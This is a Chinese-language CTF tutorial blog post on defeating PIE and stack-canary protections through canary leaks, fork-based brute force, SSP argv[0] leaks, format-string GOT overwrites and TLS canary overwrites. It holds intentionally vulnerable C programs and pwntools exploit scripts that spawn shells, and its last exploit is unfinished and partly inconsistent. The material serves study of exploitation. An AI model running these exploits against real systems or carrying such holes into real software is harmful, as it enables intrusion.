3

栈溢出总结(0x03)

 3 years ago
source link: https://www.ascotbe.com/2021/03/26/StackOverflow_0x03/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

上篇文章真的就是一改就花了一个月时间,然后发现篇幅有点太长了分割一下,感觉这篇也需要好久

image-20210326103216832

绕过PIE保护

测试代码(题目泄露地址)

//test.c
#include <unistd.h>
#include <stdio.h>
void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]) {
printf("%p\n",&main);
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}

编译产生修改为-pie -fpie,与-pie -fno-pie不同的是,它不再对程序原始字节码做修改,而是使用了一类 __x86.get_pc.thunk函数,通过PC指针来做定位

gcc -m32 -fno-stack-protector -z noexecstack -pie -fpie test.c -o test2.out

可以看到call函数的地址变成了上述我们所说的,由于__x86.get_pc.thunk的作用将下一条指令的地址赋值给EBX寄存器,然后通过加上一个偏移得到当前进程的GOT表的地址,并以此作为后续的基地址。

PIE技术的缺陷:我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。

知道了这些我们就可以编写EXP了

python
from pwn import *
io = process('./test2.out')
elf = ELF('./test2.out')
libc = ELF('/lib32/libc.so.6')
context(os='linux', arch='x86', log_level='debug')
main_addr = int(io.recvline(), 16)#获取printf输出的main函数地址
start_addr = main_addr - elf.sym['main']#计算相对偏移
vuln_func_addr = start_addr + elf.sym['vuln_func']
write_plt = start_addr + elf.sym['write']
write_got = start_addr + elf.got['write']
print ("[*]write plt: " + hex(write_plt))
print ("[*]write got: " + hex(write_got))
print ("[*]main addr: " + hex(main_addr))
print ("[*]start addr: " + hex(start_addr))
print ("[*]vuln func addr: " + hex(vuln_func_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")
ebx = start_addr + 0x2000 # 通过相对偏移加上PIE缺陷所得的地址获取到GOT表的地址

payload1 = ("A"*132).encode() + p32(ebx) + b"AAAA" + p32(write_plt) + p32(vuln_func_addr) + p32(1) + p32(write_got) + p32(4)#根据__x86.get_pc.thunk的特性拼接地址,该特性多了一步call操作

io.send(payload1)

write_addr = u32(io.recv())
print ("[*]leak write addr: " + hex(write_addr))
libc_addr=write_addr - libc.symbols['write']
print ("[*]leak libc addr: " + hex(libc_addr))
system_addr = libc_addr+ libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))

payload2 = ("B" * 140).encode() + p32(system_addr) + p32(vuln_func_addr) + p32(binsh_addr)

io.send(payload2)
io.interactive()

绕过CANNARY保护

保护原理就是在ebp的低地址添加一个随即值

High           +-----------------+
| | args |
| +-----------------+
| | return address |
| +-----------------+
| ebp => | ebp |
| +-----------------+
| ebp-4 => | canary value |
| +-----------------+
V | 局部变量 |
Low +-----------------+

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

存在漏洞的示例源代码如下,编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护)

// test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
//gcc -m32 -no-pie test.c -o test3

这题只需要利用print函数的信息泄露获取到canary值的地址即可

python
from pwn import *
io = process('./test3')
elf = ELF('./test3')
libc = ELF('/lib32/libc.so.6')
context(os='linux', arch='x86', log_level='debug')
get_shell_func_addr = elf.sym['getshell']
print ("[*]get shell func addr: " + hex(get_shell_func_addr))
print( "--" * 20)
#利用两次for循环来获取canary_value的值
#第一次利用溢出获取返回的值,由于canary的保护我们不会覆盖到ebp,程序可以进行运行
payload1 = ("A"*100).encode()
io.sendline(payload1)#必须使用带'\n'的值进行poc结尾,也就是模拟回车键
#输出带有payload1和canary混合的值,用recvuntil来接收处理
recvuntil_value=io.recvuntil(payload1)
print (b"[*]recvuntil value: " + recvuntil_value)
canary_value = u32(io.recv(4))-0xa#0xa是\n的十六进制值,ASCII表对应
print ("[*]canary value: " + hex(canary_value))
print ("[*]canary value add 0xa: " + hex(canary_value+0xa))
payload2 = ("A"*100).encode()+p32(canary_value)+("A"*12).encode()+p32(get_shell_func_addr)
io.send(payload2)
io.recv()
io.interactive()

爆破Canary值

每次进程重启后的canary不同,且同一个进程中的每个线程的canary也不同。但是如果程序通过fork函数开启子进程交互的话,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的。我们可以利用这样的特点,逐个字节将canary爆破出来。

//test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}

int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}

//gcc -m32 -no-pie test.c -o test4
//echo "hello wrod by ascotbe" > flag

可以看到源码里面溢出点是100个字符,并且运行程序如果一直按回车会启动N个进程

因为canary的 最后的一个字节总是0x00(为了截断数据,小端排序),所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果welcome\n,否则程序崩溃,通过穷举就能爆破处正确的canary值。64位的话爆破7位。

python
from pwn import *
io = process('./test4')
elf = ELF('./test4')
context(os='linux', arch='x86', log_level='debug')
get_flag_func_addr = elf.sym['getflag']
io.recvuntil('welcome\n')
canary = b'\x00'
test=[]
for j in range(3):
for i in range(256):
io.send(('a'*100).encode()+ canary + bytes([i]))#int转换成bytes用这个方法,可以直接转换为16进制的
a = io.recvuntil('welcome\n')
if b'recv' in a:
canary += bytes([i])
print(b"[*] Blasting out byte :"+canary)
break

print(b"[*] canary is :"+canary)
payload=('a'*100).encode() + canary+ ('a'*12).encode() + p32(get_flag_func_addr)
io.sendline(payload)
flag = io.recv()
io.close()
log.success("flag is:" + flag.decode())

弱类型语言类型转换真的有点恶心

为何可以单个字节爆破,后续填坑

SSP(Stack Smashing Protector )

利用原理是Canary值被修改然后函数不能正常执行,会call __stack_chk_fail打印**argv[0]**这个指针指向的字符串,默认是程序的名字。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

如果我们把它覆盖为flag的地址时,它就会把flag给打印出来,注意不要用原来flag的地址覆盖,因为原来存储flag的地址会被overwrite,但是由于ELF的映射方式,此flag会被映射两次,另一个地方的flag的内容不会变,原因是__stack_chk_fail会调用libc_message

题目地址 备用地址

我们使用IDA查看一下代码,可以发现溢出点在下面这段代码中的_IO_getc函数中

while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}

双击byte_600D20可以看到这样的画面

.data:0000000000600D20 ; char byte_600D20[]
.data:0000000000600D20 byte_600D20 db 50h ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0
.data:0000000000600D21 _data ends

由此可知,服务器端中的 flag 应该也在这个位置上。接下来我们需要下个断点来进入main函数,但是由于程序经过了strip处理,没有debug信息,所以我们需要下断点到__libc_start_main函数才能看到,可以看到RDI的值才是main函数的真正入口

0x7fffffffe269指向程序名,其自然就是argv[0],所以我们修改的内容就是这个地址。
同时0x7fffffffded8处保留着该地址,所以我们真正需要的地址是0x7fffffffded8

接着我们需要找到栈顶到这个argv[0]的偏移,从而方便我们计算出需要填充的字符个数

从图中我们可以知道,我们只需要把断点下到_IO_gets这个函数之前就能获取到argv[0]的偏移,接着可以看到

地址是0x40080E,我们只需要在这个位置下个断点,看RSP的值即可

所以偏移值为0x7fffffffded8 - 0x7fffffffdcc0 = 0x218

gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")

接着找到flag的值,但是看上文中有两个值,我们直接是用0x400d21这个值

据网上的WP说法,ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射,留个坑后面填

python
#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = process('./smashes')
elf = ELF('./smashes')
context(os='linux', arch='x86', log_level='debug')
get_main_func_addr = 0x7fffffffded8
get_io_gets_func_addr = 0x7fffffffdcc0
flag_addr = 0x400d21
offset=get_main_func_addr - get_io_gets_func_addr
print("[*] offset is :"+str(hex(offset)))
payload = ("A" * offset).encode() + p64(flag_addr)

io.recvuntil("Hello!\nWhat's your name?")
io.sendline(payload)
io.recv()
io.sendline(payload)
io.interactive()

可以看到最终我们输出了flag的值

劫持stack_chk_fail函数

从SSP中我们可以得知Canary失败的处理逻辑会进入到 __stack_chk_failed函数,__stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

漏洞存在点

格式化字符串是一种很常见的漏洞,其产生根源是printf函数设计的缺陷,printf函数它并不知道自己现在的参数个数有几个,但是它的内部却有个指针用来索检格式化字符串。对于遇到特定类型%,就去执行取相应参数的值,直到索检到格式化字符串结束。如果printf语句没有带格式化字符参数的话,那么就一定存在格式化字符串漏洞。

格式化字符

格式字符 意义 d 以十进制形式输出带符号整数(正数不输出符号) o 以八进制形式输出无符号整数(不输出前缀0) x 以十六进制形式输出无符号整数(不输出前缀Ox) u 以十进制形式输出无符号整数 f 以小数形式输出单、双精度实数 e 以指数形式输出单、双精度实数 g 以%f或%e中较短的输出宽度输出单、双精度实数 c 输出单个字符 s 输出字符串 p 输出指针地址,可以用来计算格式化字符的偏移 n 将%n之前已经打印的字符个数赋值给偏移处指针所指向的地址位置
  • %hhn 向某地址写入1字节
  • %hn 向某个地址写入2字节
  • %n 向某个地址写入4字节
  • %lln 向某地址写入8字节

漏洞的利用手段

  • 搞破坏,使程序崩溃。

    因为%s对应的参数地址不合法的概率还是比较大的。所以直接输入无数个%s让其遇到不合法地址然后崩溃。

  • 泄露栈内容:获取某个变量的值;获取某个变量对应地址的内存。

    32bit:   %n$x : 返回栈上第(n+1)个参数的值
    64bit: %n$p 或者 %n$llx (64bit) :返回栈上第(n-5)个参数的值

    泄露任意地址内存:利用got表得到libc函数地址,进而获取其他libc函数地址;盲目地dump整个程序,获取有用信息。

    32bit:   %n$s:把栈上第n+1个参数的值作为地址,返回该地址内存的值
    64bit: %n$s:把栈上第n-5个参数的值作为地址,返回该地址内存的值
  • 修改内存数据

    %***c%n$n:  把栈上第n+1个参数的值作为地址,将该地址的高32bit值改为 hex(***)
    %***c%n$hn: 把栈上第n+1个参数的值作为地址,将该地址的高16bit值改为 hex(***)
    %***c%n$hhn:把栈上第n+1个参数的值作为地址,将该地址的高8bit值改为 hex(***)
    [64bit下,(n+1)变为(n-5)即可 ]

控制符 %n 的利用

在格式化控制符中有一个 %n ,它用于把当前输出的所有数据的长度写回一个变量中去。

由于可能会造成溢出漏洞从而进程被恶意代码劫持,现如今该控制符貌似很早之前就被弃用了。
现在只有在 vc 6.0++ 和 linux 上还可以用。

举一个栗子:

#include<stdio.h>
int main(int argc, char const *argv[])
{
int length=0;
printf("hello%n\n",&length);
printf("%d\n",length);
return 0;
}
//输出:
//hello
//5

该程序首先会输出 hello ,然后把字符串长度5存回 &length变量里,第二次输出length变量的值即是5。

任意地址写(32位)

32位的地址在前面,64位的地址在后面

python
payload=p32(system_addr)+ '%012c' + '%6$n'
  • 举个栗子方便理解

    比如payload为 \x8c\x97\x04\x08%2048c%5$n ,那么我们就可以把0x0804978c地址里的内容修改为**0x804 **(2048+4字节)

  • 再举个栗子

    例如要把printf的地址 修改为 system地址。我们采取单字节的修改。

    python
    printf_got=0x08049778  
    system_plt=0x08048320
    payload=p32(printf_got)+p32(printf_got+1)+p32(printf_got+2)+p32(printf_got+3)
    payload+="%"+str(0x20-16)+"c%5$hhn"
    payload+="%"+str(0x83-0x20)+"c%6$hhn"
    payload+="%"+str(0x104-0x83)+"c%7$hhn"
    payload+="%"+str(0x08-0x04)+"c%8$hhn"
任意地址写(64位)

下面题目的EXP,我们采取2字节的修改。

python
payload="%64c%9$hn%1510c%10$hnAAA" + p64(stack_chk_fail+2) + p64(stack_chk_fail)

具体解释看题解内容即可

题目地址 备用地址

从IDA中可以看到main函数有Canary保护

并且函数中有格式化字符串漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL);
printf(&buf, &buf);
return 0;
}

存在后门函数backdoor

unsigned __int64 backdoor()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
system("cat flag");
return __readfsqword(0x28u) ^ v0;
}

首先我们看下格式化字符的偏移,运行程序输入

AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

可以看到输出内容,我们的41414141在第六个参数中

ascotbe@ubuntu:~/Desktop/PWN$ ./r2t4 
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA0x7ffeaa5d0250.0x38.0x7fa6a53fe320.0x400730.0x7fa6a56e1af0.0x252e702541414141.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x87ab0a70252e7025.0x4006c0.0x7fa6a5327840.0x1
*** stack smashing detected ***: ./r2t4 terminated
���@Aborted (core dumped)

接着从IDA中找到后门函数的地址,如下

Function name	| Segment |	      Start      |	 Length  |	
backdoor .text 0000000000400626 00000038

那我们可以直接写EXP了

python
from pwn import *

p=process("./r2t4")
elf=ELF("./r2t4")
context(arch='amd64',os='linux',log_level='debug')

system=0x400626
__stack_chk_fail=elf.got["__stack_chk_fail"]
print("[*] __stack_chk_fail is :"+str(hex(__stack_chk_fail)))
print("[*] __stack_chk_fail high is :"+str(p64(__stack_chk_fail+2)))
print("[*] __stack_chk_fail low is :"+str(p64(__stack_chk_fail)))
payload=b'%64c%9$hn%1510c%10$hnAAA' + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

backdoor的地址是0x400626,利用格式化字符串漏洞把 __stack_chk_fail 的地址覆盖掉
%64c:0x40,替换backdoor的两位高字节0x0040
%64c%9$hn%1510c%10$hnAAA:占24个字符,24/8=3,偏移为6+3=9(之前算出的第六个参数中)
$hn:向某个地址写入双字节
%1510c:1510+64=0x0626,替换backdoor的两位高字节0x0626
AAA:是填充字符,填充到8的倍数
__stack_chk_fail+2__stack_chk_fail分别替换成backdoor的高两位字节和低两位字节

输出了我们之前做题写的flag文件内容

覆盖 TLS 中储存的 Canary 值

通常在C程序中常存在全局变量、静态变量以及局部变量,对于局部变量来说,并不存在线程安全问题。而对于全局变量和函数内定义的静态变量,同一进程中各个线程都可以访问它们,因此它们存在多线程读写问题。

如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为static memory local to a thread 线程局部静态变量),就需要新的机制来实现,这就是TLS。当函数在不同的线程上被调用时,该线程会被分配新的栈,并且Canary会被放置在TLS上。TLS位于栈的顶部,当溢出长度较大时,可以同时覆盖返回地址前的 Canary 和 TLS 中的 Canary 实现绕过。

1

Glibc中设置Canary的过程

从glibc源码中可以看到,定义了THREAD_SET_STACK_GUARD时,Canary通过这个宏被设置;否则存入全局变量__stack_chk_guard

  /* Set up the stack checker's canary.  */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
# ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
# else
__stack_chk_guard = stack_chk_guard;
# endif

进一步查看THREAD_SET_STACK_GUARD定义

# define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

查看THREAD_SETMEM,可以看到这个宏通过内联汇编,将vlaue,也就是Canary放入了fs寄存器的某个偏移处,而这个偏移处又是通过offsetof宏得到的pthread结构体某个成员的偏移,在上面的代码中,可以看到传入的是成员header.stack_guard

# define THREAD_SETMEM(descr, member, value) 												
({ if (sizeof (descr->member) == 1)
asm volatile ("movb %b0,%%fs:%P1" :
: "iq" (value),
"i" (offsetof (struct pthread, member)));
else if (sizeof (descr->member) == 4)
asm volatile ("movl %0,%%fs:%P1" :
: IMM_MODE (value),
"i" (offsetof (struct pthread, member)));
else
{
if (sizeof (descr->member) != 8)
/* There should not be any value with a size other than 1,
4 or 8. */
abort ();

asm volatile ("movq %q0,%%fs:%P1" :
: IMM_MODE ((uint64_t) cast_to_integer (value)),
"i" (offsetof (struct pthread, member)));
}})

pthread是一个超大的结构体,这里略去余下部分

...
struct pthread
{
union
{
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header;
...

Canary正是存储在tcbhead_t中的stack_guard,根据变量类型可以计算出在32位和64位上的偏移:

32位 gs:0x14 (0x4×3+0x4×3+0x4)

64位 fs:0x28(0x8×3+0x4×3+0x8)

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

void *__padding[8];
} tcbhead_t;

题目地址

//babystack.c
//gcc -fstack-protector-strong -s -pthread babystack.c -o babystack -Wl,-z,now,-z,relro
#include <errno.h>
#include <stdio.h>
#include <pthread.h>
#include <asm/prctl.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

size_t get_long() {
char buf[8];
fgets(buf, 8, stdin);
return (size_t)atol(buf);
}
size_t readn(int fd, char *buf, size_t n) {
size_t rc;
size_t nread = 0;
while (nread < n) {
rc = read(fd, &buf[nread], n-nread);
if (rc == -1) {
if (errno == EAGAIN || errno == EINTR) {
continue;
}
return -1;
}
if (rc == 0) {
break;
}
nread += rc;

}
return nread;
}
void * start() {
size_t size;
char input[0x1000];
memset(input, 0, 0x1000);
puts("Welcome to babystack 2018!");
puts("How many bytes do you want to send?");
size = get_long();
if (size > 0x10000) {
puts("You are greedy!");
return 0;
}
readn(0, input, size);
puts("It's time to say goodbye.");
return 0;
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
pthread_t t;
puts("");
puts(" # # #### ##### ######");
puts(" # # # # # #");
puts("### ### # # #####");
puts(" # # # # #");
puts(" # # # # # #");
puts(" #### # #");
puts("");
pthread_create(&t, NULL, &start, 0);
if (pthread_join(t, NULL) != 0) {
puts("exit failure");
return 1;
}
puts("Bye bye");
return 0;
}
  • 通过padding爆破填充a修改TLS中的canary为aaaaaaaa,从而绕过栈溢出保护(这里必须是线程的题目,而且输入足够大才行!)
  • 泄露出puts的got地址得到真实的基地址,用于getshell
  • 利用栈迁移,在bss段中开辟一个空间来写one_gadget来payload

我们看多线程中的反汇编函数,可以看到参数s的大小是0x1010,而v2可以允许0x10000

void *__fastcall start_routine(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s; // [rsp+10h] [rbp-1010h]
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
puts("Welcome to babystack 2018!");
puts("How many bytes do you want to send?");
v2 = sub_400906("How many bytes do you want to send?", 0LL);
if ( v2 <= 0x10000 )
{
sub_400957(0LL, &s, v2);
puts("It's time to say goodbye.");
}
else
{
puts("You are greedy!");
}
return 0LL;
}

然后看sub_400906函数,结合上个函数的传参可以看到read函数有明显的溢出,但是有canary保护,而且是线程,所以我们这里学习一种新招式,TSL(线程局部存储)攻击,基本思路就是我们得覆盖很多个a到高地址,直到把TLS给覆盖从而修改了canary的值为a,绕过了canary后就可以栈溢出操作了。

signed __int64 __fastcall sub_400957(int a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v4; // [rsp+8h] [rbp-28h]
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
ssize_t v6; // [rsp+28h] [rbp-8h]

v4 = a3;
v5 = 0LL;
while ( v5 < v4 )
{
v6 = read(a1, (void *)(v5 + a2), v4 - v5);
if ( v6 == -1 )
{
if ( *_errno_location() != 11 && *_errno_location() != 4 )
return -1LL;
}
else
{
if ( !v6 )
return v5;
v5 += v6;
}
}
return v5;
}
ascotbe@ubuntu:~/Desktop/PWN$ ROPgadget --binary babystack --only "pop|ret"
Gadgets information
============================================================
0x0000000000400bfc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bfe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c00 : pop r14 ; pop r15 ; ret
0x0000000000400c02 : pop r15 ; ret
0x0000000000400bfb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop rbp ; ret
0x0000000000400c03 : pop rdi ; ret
0x0000000000400c01 : pop rsi ; pop r15 ; ret
0x0000000000400bfd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400791 : ret
0x000000000040028b : ret 0x2800
0x000000000040097e : ret 0x8b48

Unique gadgets found: 13

主要就是覆盖TLS中的cancry值,然后加上ret2libc3题目的操作即可

未完待续。。。POC没写好

python
from pwn import *

sh = process('./babystack')
elf = ELF('./babystack')
libc = elf.libc
context(os='linux', arch='amd64', log_level='debug')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.symbols["read"]
start_routine_addr = 0x4009E7
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
fgets_addr = 0x400957
print ("[*]puts plt: " + hex(puts_plt))
print ("[*]puts got: " + hex(puts_got))
print ("[*]start routine addr: " + hex(start_routine_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")

payload = ("A" * 0x1010).encode()+ p64(0xdeadbeef)+ p64(pop_rdi_ret)+p64(puts_got)+ p64(puts_plt)+p64(fgets_addr)
payload = payload.ljust(6128, b'A')
print(b"[*] payload : "+payload)
sh.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(sh.recv()[:6].ljust(8,'\x00'))
print (hex(puts_addr))

print ("[*]leak puts addr: " + hex(puts_addr))

libc.address = puts_addr - libc.symbols['puts']#获取相对偏移
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
print ("[*]leak libc addr: " + hex(libc.address))
print ("[*]system addr: " + hex(system_addr))
print ("[*]binsh addr: " + hex(binsh_addr))
print ("--" * 20)
print ("[*]sending payload2 to getshell...")

payload2 = ("A" * 0x1010).encode()+p64(system_addr) +b"CCCC"+p64(binsh_addr)
sh.sendline(payload2)
sh.interactive()
《ctf竞赛权威指南(PWN篇)》
https://ctf-wiki.org/pwn/linux/mitigation/canary/
https://www.jianshu.com/p/b0b254b94afe
http://6par.top/2020/07/05/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
http://www.int0x80.top/BypassCanary/

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK